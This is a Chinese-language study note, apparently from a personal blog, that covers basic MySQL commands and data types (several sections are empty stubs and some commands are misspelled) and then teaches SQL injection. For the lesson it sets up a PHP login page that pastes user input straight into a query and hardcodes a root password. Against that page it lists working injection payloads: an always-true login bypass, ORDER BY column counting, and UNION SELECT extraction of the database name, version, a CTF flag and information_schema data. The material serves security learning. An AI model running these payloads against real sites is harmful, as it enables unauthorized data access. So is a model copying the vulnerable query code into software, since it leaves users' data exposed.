sql语句和sql注入


综合

1
2
3
4
5
6
7
8
9
10
11
-- 登录
mysql -j localhost -u root -p

-- 查看mysql支持的字符集
show character set;

-- 查看数据库版本
select version();

-- 查看mysql支持的存储引擎
show endines;

结构

数据库名 说明
mysql MySQL的核心数据库,用于存储MySQL服务器的系统信息表,包括授权系统表、系统对象信息表、日志系统表、服务器端辅助系统表等服务器控制和管理信息
information_schema 用于保存MySQL服务器所维护的所有数据块的信息,包括数据库名、数据库的数据表、数据表中列的数据类型与访问权限等。此数据库中的数据表均为视图,因此在用户或安装目录下无对应文件
performance_schema 用于收集MySQL服务器的性能参数。此数据库中所有数据表的存储引擎为performance_schema,用户不能创建存储引擎为performance_schema的数据表。默认情况下该数据库为关闭状态
sys sys数据库中所有数据来自performance_schema。目标是把performance_schema的复杂度降低,让数据库管理员更快地了解数据库的运行情况

类型

整数类型

整数类型 字节数 无符号数据的取值范围 有符号数据的取值范围
tinyint 1
smallint 2
mediumint 3
int 4
bight 8

小数类型

类型 字节数 负数的取值范围 非负数的取值范围
float 4
double 4
decimal

日期类型

字符串类型

JSON类型

用户管理

创建用户

1
create "user_name"@localhost 

删除用户

1
drop ;

库管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-- 创建数据库
create database database_name;

-- 选择数据库
use database_name;

-- 查看数据库
show databases;

-- 修改数据库
alter database database_name character set utf8 collate utf8_bin;

-- 删除数据库
drop database database_name;

表管理

查看表

1
show tables;

创建表

1
2
3
4
create table users
(

);

删除表

1
drop table table_name;

查看表内容

1
select * from table_name;

查看表结构

1
describe database_name.table_name;

sql 注入

学了sql语句,接着就研究一下web的经典漏洞sql注入吧。

以前学web的时候第一个学的漏洞就是sql注入,也是我初入安全之门的指引。

不要问我为什么直接从sql注入开始。。。

接下来就讲一下简单mysql的sql注入。

不过在讲sql注入之前,我们需要先复习几个用得到的重点知识。

  • information_schema
  • or der
  • 逻辑

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>简单的登录页面</title>
</head>
<body>
<h2>登录</h2>
<form action="demo.php" method="post">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required><br><br>
<label for="password">密码:</label>
<input type="password" id="password" name="password" required><br><br>
<input type="submit" value="登录">
</form>
</body>
</html>

<?php
$servername = "localhost";
$username = "root";
$password = "051106";
$dbname = "test";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}

$user = $_POST['username'];
$pass = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";

$result = $conn->query($sql);

if ($result->num_rows > 0) {
echo "登录成功,欢迎: " . $user;
} else {
echo "用户名或密码错误!";
}

$conn->close();
?>

万能密码

1
' or 1=1#
1
' or 1=1 order by 3#

正常回显

1
' or 1=1 order by 4#

判断回显位

1
' or 1=1 union select 1,2,3 #

查数据库名

1
' or 1=1 union select 1,database(),3 #

查询数据库版本

1
' or 1=1 union select 1,version,3 #
1
' or 1=1 union select 1,flag,3 from web2.flag #

获取所有数据库的库名

1
information_schema.schemata #